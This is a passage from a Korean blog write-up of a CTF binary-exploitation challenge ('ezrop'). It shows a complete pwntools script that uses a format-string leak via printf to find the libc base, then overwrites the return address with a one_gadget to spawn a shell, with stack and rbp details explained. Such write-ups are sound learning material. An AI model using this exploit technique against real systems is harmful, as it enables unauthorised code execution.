<p>그렇게 익스에 실패했고 이후 디코에서 방법을 알 수 있었다. 바로 gets 종료 후 rax에 rbp-0x20의 값이 들어간다는 것이었다. 
<img src="https://velog.velcdn.com/images/chk_pass/post/a4fbcb2c-fb36-4494-b349-ac460c673649/image.png" alt="">gets직후의 레지스터 상황인데 rax에 gets의 인자와 동일한 주소가 들어가 있음을 확인할 수 있다. (실제로 gets의 반환값은 인자값이다.)</p>
<p>vuln의 printf는 rax를 rdi에 넣은 다음 실행되기 때문에 vuln종료 후 printf실행 직전으로 jmp시키면 내가 이전에 스택에 gets로 넣어놓은 값을 바탕으로 fsb를 발생시킬 수 있다.
<img src="https://velog.velcdn.com/images/chk_pass/post/d45d21d2-bc07-40ed-947d-db09addaeaa6/image.png" alt=""></p>
<p>이 부분을 활용해 printf에서 libc를 leak하고 또 다시 gets가 실행될 때 ret을 원가젯으로 덮어 쉘을 따면 될 것 같다.</p>
<p>익스 코드는 아래와 같다.</p>
<pre><code class="language-python">from pwn import *
#64, Partial, NX
p=process(&quot;./ezrop&quot;)
e = ELF(&quot;./ezrop&quot;)

vuln = 0x00000000004011ee
printf_plt =  0x401060#e.plt[&#39;printf&#39;]
printf_got =  0x000000404018
bss = e.bss()
one = [0xebc85, 0xebc81, 0x50a47, 0xebc88]


payload = b&quot;%3$p\x00&quot; #fsb터지게 할 문자열 + null (rcx leak)
payload += b&quot;A&quot;*(0x20-len(payload))
payload += p64(bss+0x100) #두번째 gets에 유효한 주소가 들어가도록 하기 위함
payload += p64(vuln)


p.sendline(payload)

#printf(%3$p)에 의해 leak된 값으로 libc_base구하기
p.recvuntil(b&quot;Enter your name: &quot;)
libc_base = int(p.recv(14), 16) - 0x219aa0
log.info(hex(libc_base))


#두번째 gets에 대한 페이로드 =&gt; 원가젯 실행

payload2 = b&quot;A&quot;*0x20
payload2 += p64(bss+0x200) #원가젯 조건을 맞추기 위해서 (rbp-0x78 is writable)
payload2 += p64(libc_base+one[1])

pause()
p.sendline(payload2)

p.interactive()</code></pre>
<p>익스 과정에서 또다시 주의해주어야 할 점은 rbp값을 신경써야 한다는 점이다.</p>
<p>우선 첫 번째 페이로드에서는 이 페이로드로 인해 바뀌는 rbp값을 기준으로 두 번째 gets(rbp-0x20)이 실행될 것이기 때문에 rbp-0x20이 writable 해야 한다. 따라서 bss영역 + 0x100의 주소로 바꾸어줬다.</p>
<p>그리고 두 번째 페이로드로 인해 바뀌는 rbp값은 원가젯 조건을 맞추기 위해 특정 값을 맞춰줘야 했다.</p>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/671e39cf-2c69-4df9-960e-b3e002c65a0f/image.png" alt=""></p>
<p>내가 사용한 원가젯의 조건은 위와 같았는데, 원가젯 실행 당시의 <code>rbp-0x78</code>이 writable해야 하며 <code>rbp-0x70 == NULL</code>을 만족해야 한다. 
따라서 gets에 의해 rbp-0x100-0x20의 위치에는 특정값들이 쓰여져 있을 것이므로 이와 충돌하지 않게 bss+0x200정도로 rbp값을 세팅해 두 가지 조건을 맞추어 줬다. </p>
<p>문제의 난이도 자체가 높은 건 아니지만, 이 문제를 풀면서 뭔가 필요한 가젯이 없을 때 어떻게 행동해야 할 지 조금 더 알게 된 것 같다. 
앞으로 이런 상황이 생기면 어떻게든 존재하는 코드 내에서 방법이 없을지를 잘 생각해봐야 겠다. 특히 레지스터에 어떤 값들이 존재하는지, 그리고 그 레지스터 값을 이용해 필요한 인자를 세팅할 수 있는지 등을 확인해봐야 할 것 같다.</p>
]]></description>
        </item>
    </channel>
</rss>